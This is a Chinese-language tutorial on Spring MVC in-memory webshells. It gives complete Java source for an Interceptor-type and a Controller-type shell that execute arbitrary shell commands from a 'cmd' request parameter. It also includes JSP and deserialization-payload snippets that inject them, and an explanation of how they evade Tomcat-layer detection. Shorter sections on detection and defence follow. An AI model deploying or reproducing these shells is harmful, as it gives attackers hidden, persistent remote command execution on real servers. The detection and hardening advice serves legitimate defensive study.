Spring 容器内存马
Spring 容器型内存马不是 Tomcat 特有的——它作用于 Spring MVC 容器,要求应用使用了 Spring MVC。它的隐蔽性在于:不在 Tomcat 的注册表里(不碰 Filter/Listener/Valve),Tomcat 层的检测完全看不到。
两种常见形态:
| 形态 | 原理 | 触发时机 |
|---|---|---|
| Interceptor 型 | 往 AbstractHandlerMapping.adaptedInterceptors 注入 HandlerInterceptor |
每个请求进入 Controller 之前 |
| Controller 型 | RequestMappingHandlerMapping.registerMapping() 动态注册一个 /evil 路由 |
访问该路由时 |
本文代码已用 Spring 5.3.39(javax)+ 6.1.14(jakarta)真实编译验证。
本质:模拟 Spring 容器装配——把恶意 HandlerInterceptor 塞进 adaptedInterceptors(每个请求触发 preHandle),或把恶意方法 + /evil 路由用 registerMapping 登记进 mappingRegistry。整体框架见 《内存马原理总纲》。
一、Spring MVC 请求处理链
1.1 DispatcherServlet 的分发流程
HTTP 请求
↓
DispatcherServlet.doDispatch()
↓
HandlerMapping.getHandler() ← 找到能处理该 URL 的 Handler
↓
HandlerInterceptor.preHandle() ← 拦截器链(注入点 ①)
↓
Controller 方法 ← 动态注册的 /evil 路由(注入点 ②)
↓
HandlerInterceptor.postHandle() / afterCompletion()
↓
View 渲染 → 响应
DispatcherServlet 启动时会初始化多个 HandlerMapping,其中 RequestMappingHandlerMapping 负责 @RequestMapping 注解的路由。
1.2 两种注入形态对比
Interceptor 型:把恶意拦截器 add 进 adaptedInterceptors 列表
→ 每个请求进 Controller 前都会执行 preHandle(无需访问特定 URL)
Controller 型:registerMapping 注册一个 /evil 路由 + 恶意方法
→ 访问 /evil?cmd=xxx 触发
二、动态注册原理
2.1 Interceptor:adaptedInterceptors 字段
AbstractHandlerMapping 持有 private final List<HandlerInterceptor> adaptedInterceptors,请求分发时会按列表顺序调用每个拦截器的 preHandle。虽然字段是 final 不能重新赋值,但列表本身可变更——反射拿到字段后 add() 即可:
Field field = /* AbstractHandlerMapping 的 adaptedInterceptors 字段 */;
field.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(mapping);
list.add(new InterceptorMemShell());
2.2 Controller:registerMapping
RequestMappingHandlerMapping.registerMapping(RequestMappingInfo, Object handler, Method method) 是 public 方法,直接把一个方法注册成路由:
RequestMappingInfo info = RequestMappingInfo.paths("/evil").build(); // Builder → info
Method method = controller.getClass().getDeclaredMethod("evil", ...);
mapping.registerMapping(info, controller, method);
三、完整代码实现
3.1 Interceptor 型(javax / Spring 5.x)
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;
public class InterceptorMemShell implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
String result = exec(cmd);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("<pre>" + result + "</pre>");
return false; // 拦截,不进入 Controller
} catch (Exception e) {
response.getWriter().write("Error: " + e.getMessage());
}
}
return true;
}
/**
* 从 ServletContext 拿 Spring 容器并注入
*/
public static void inject(ServletContext servletContext) throws Exception {
WebApplicationContext ctx =
WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
// adaptedInterceptors 定义在 AbstractHandlerMapping(父类父类),沿继承链向上找字段
List<HandlerInterceptor> interceptors = getAdaptedInterceptors(mapping);
// 防重复
for (HandlerInterceptor interceptor : interceptors) {
if (interceptor instanceof InterceptorMemShell) {
return;
}
}
interceptors.add(new InterceptorMemShell());
}
@SuppressWarnings("unchecked")
private static List<HandlerInterceptor> getAdaptedInterceptors(RequestMappingHandlerMapping mapping)
throws Exception {
Class<?> cls = mapping.getClass();
Field field = null;
while (cls != null && field == null) {
try {
field = cls.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
cls = cls.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("adaptedInterceptors");
}
field.setAccessible(true);
return (List<HandlerInterceptor>) field.get(mapping);
}
/**
* 统一命令执行器
*/
private static String exec(String cmd) throws Exception {
String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
InputStream is = process.getInputStream()) {
byte[] buf = new byte[4096];
int len;
while ((len = is.read(buf)) != -1) {
out.write(buf, 0, len);
}
process.waitFor();
return out.toString(System.getProperty("sun.jnu.encoding"));
}
}
}
3.2 Controller 型(javax / Spring 5.x)
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
public class ControllerMemShell {
/**
* 恶意 Controller 方法:注册后访问 /evil?cmd=xxx 即执行命令
*/
@org.springframework.web.bind.annotation.RequestMapping("/evil")
public void evil(HttpServletRequest request, HttpServletResponse response) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
String result = exec(cmd);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("<pre>" + result + "</pre>");
}
}
public static void inject(ServletContext servletContext) throws Exception {
WebApplicationContext ctx =
WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
ControllerMemShell controller = new ControllerMemShell();
Method method = controller.getClass().getDeclaredMethod(
"evil", HttpServletRequest.class, HttpServletResponse.class);
// paths() 返回 Builder,build() 生成 RequestMappingInfo
RequestMappingInfo info = RequestMappingInfo.paths("/evil").build();
mapping.registerMapping(info, controller, method);
}
/**
* 统一命令执行器
*/
private static String exec(String cmd) throws Exception {
String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
InputStream is = process.getInputStream()) {
byte[] buf = new byte[4096];
int len;
while ((len = is.read(buf)) != -1) {
out.write(buf, 0, len);
}
process.waitFor();
return out.toString(System.getProperty("sun.jnu.encoding"));
}
}
}
3.3 触发注入
JSP(application 即 ServletContext;前提:恶意类已存在于 webapp classloader,例如由反序列化 payload 定义并加载):
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils,
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %>
<%
// 方式一:注入 Interceptor(之后任意请求带 ?cmd=xxx 即触发)
InterceptorMemShell.inject(application);
out.println("[+] Interceptor injected: 任意路径 ?cmd=whoami");
// 方式二:注册 Controller 路由(访问 /evil?cmd=xxx)
ControllerMemShell.inject(application);
out.println("[+] Controller injected: /evil?cmd=whoami");
%>
反序列化 payload 片段(无 JSP,直接拿 ServletContext):
// 反序列化 payload 中的代码片段
javax.servlet.ServletContext servletContext = request.getSession().getServletContext();
InterceptorMemShell.inject(servletContext);
3.4 jakarta(Spring 6.x / Tomcat 10+)版本差异
Spring 6 全面迁移到 jakarta.servlet 命名空间,但 Spring MVC 的 API(HandlerInterceptor、RequestMappingHandlerMapping、adaptedInterceptors)未变。仅需把两个类里所有 javax.servlet 换成 jakarta.servlet:
// javax(Spring 5.x)
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
// jakarta(Spring 6.x)—— 全局替换包名即可
import jakarta.servlet.ServletContext;
import jakarta.servlet.http.HttpServletRequest;
四、代码详解
4.1 获取 Spring 容器
WebApplicationContext ctx =
WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
servletContext 从哪来:
- JSP 里直接用内置对象
application; - 请求里
request.getSession().getServletContext(); - 反序列化 payload 里
(HttpServletRequest)obj.get("request")类似的链。
4.2 adaptedInterceptors 沿继承链反射
字段在 AbstractHandlerMapping,而 RequestMappingHandlerMapping 的继承链是 AbstractHandlerMethodMapping → AbstractHandlerMapping。getDeclaredField 只查当前类,所以要沿 getSuperclass() 向上找(代码里用 while 循环处理)。字段是 final,但列表本身可变,直接 add() 生效。
4.3 registerMapping 动态路由
RequestMappingInfo.paths("/evil").build() 生成映射信息;registerMapping(info, controller, method) 把 controller 的方法注册成 /evil 路由。这是 Spring 提供的能力(Servlet 3.0 规范之外 Spring 自己的扩展),天然支持运行时注册。
4.4 版本兼容性
| Spring 版本 | Servlet 包 | Tomcat 版本 | 差异 |
|---|---|---|---|
| 5.3.x | javax.servlet |
8.5 / 9.x | 本代码适用 |
| 6.0.x / 6.1.x | jakarta.servlet |
10.x / 11.x | 仅替换包名 |
五、利用场景
5.1 反序列化 → Spring 注入
Shiro / Fastjson 反序列化 → 代码执行
→ 拿到 ServletContext(request.getSession().getServletContext())
→ InterceptorMemShell.inject(servletContext) 或 ControllerMemShell.inject(servletContext)
5.2 躲过 Tomcat 层检测
Tomcat 层安全产品监控:
✅ filterDefs / filterMaps / listeners / Pipeline
❌ Spring 容器(adaptedInterceptors / HandlerMapping 注册表)—— 盲区
Spring 内存马不触碰 Tomcat 的任何组件,Tomcat 层的查杀工具(对比 Filter/Listener/Valve 基线)完全无效。
5.3 强依赖 Spring
- 应用必须使用 Spring MVC(
DispatcherServlet+RequestMappingHandlerMapping); - 纯 JSP/Servlet 应用不适用;
- Spring Boot 内嵌 Tomcat 同样适用(
adaptedInterceptors、registerMapping机制一致)。
六、检测方式
6.1 枚举 HandlerInterceptor
// 检测代码:列出所有注册的拦截器
WebApplicationContext ctx =
WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
for (Object interceptor : mapping.getAdaptedInterceptors()) {
System.out.println(interceptor.getClass().getName());
}
6.2 枚举动态路由
// 列出所有已注册的 RequestMapping,检查是否有非业务路由
for (Object handlerMethod : mapping.getHandlerMethods().keySet()) {
System.out.println(handlerMethod);
}
// 或 curl 探测:/evil?cmd=whoami 是否返回命令结果
6.3 基线对比
把应用启动时的拦截器 / 路由列表存为基线,运行时定期对比,出现新增项即告警。
七、防御建议
| 层面 | 措施 | 说明 |
|---|---|---|
| RASP | Hook adaptedInterceptors.add() / registerMapping() |
拦截运行时注入 |
| Spring | 启用 Spring Security 并白名单过滤 |
即使注册了 /evil 也无法未授权访问 |
| 监控 | 定期对比拦截器 / 路由基线 | 发现异常 Handler |
| 事前 | 修复反序列化等 RCE 漏洞 | 切断注入入口 |
八、总结
Spring 容器型内存马与 Tomcat 层的四种类型互补:
| 特性 | Tomcat 层(Filter/Servlet/Listener/Valve) | Spring 容器型 |
|---|---|---|
| 适用前提 | 任意 Web 应用 | 必须用 Spring MVC |
| 触碰的注册表 | Tomcat 组件 | Spring 容器 |
| Tomcat 层检测 | 可见 | 不可见(盲区) |
| 隐蔽性 | 中~高 | 高 |
攻击者偏好排序(综合隐蔽性与功能):
- Agent — JVM 层,最隐蔽
- Valve — Tomcat 层最隐蔽
- Spring Interceptor / Controller — 应用是 Spring 时的隐蔽通道
- Listener / Filter / Servlet — 常见
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Java Agent 内存马 WebSocket 等偏门内存马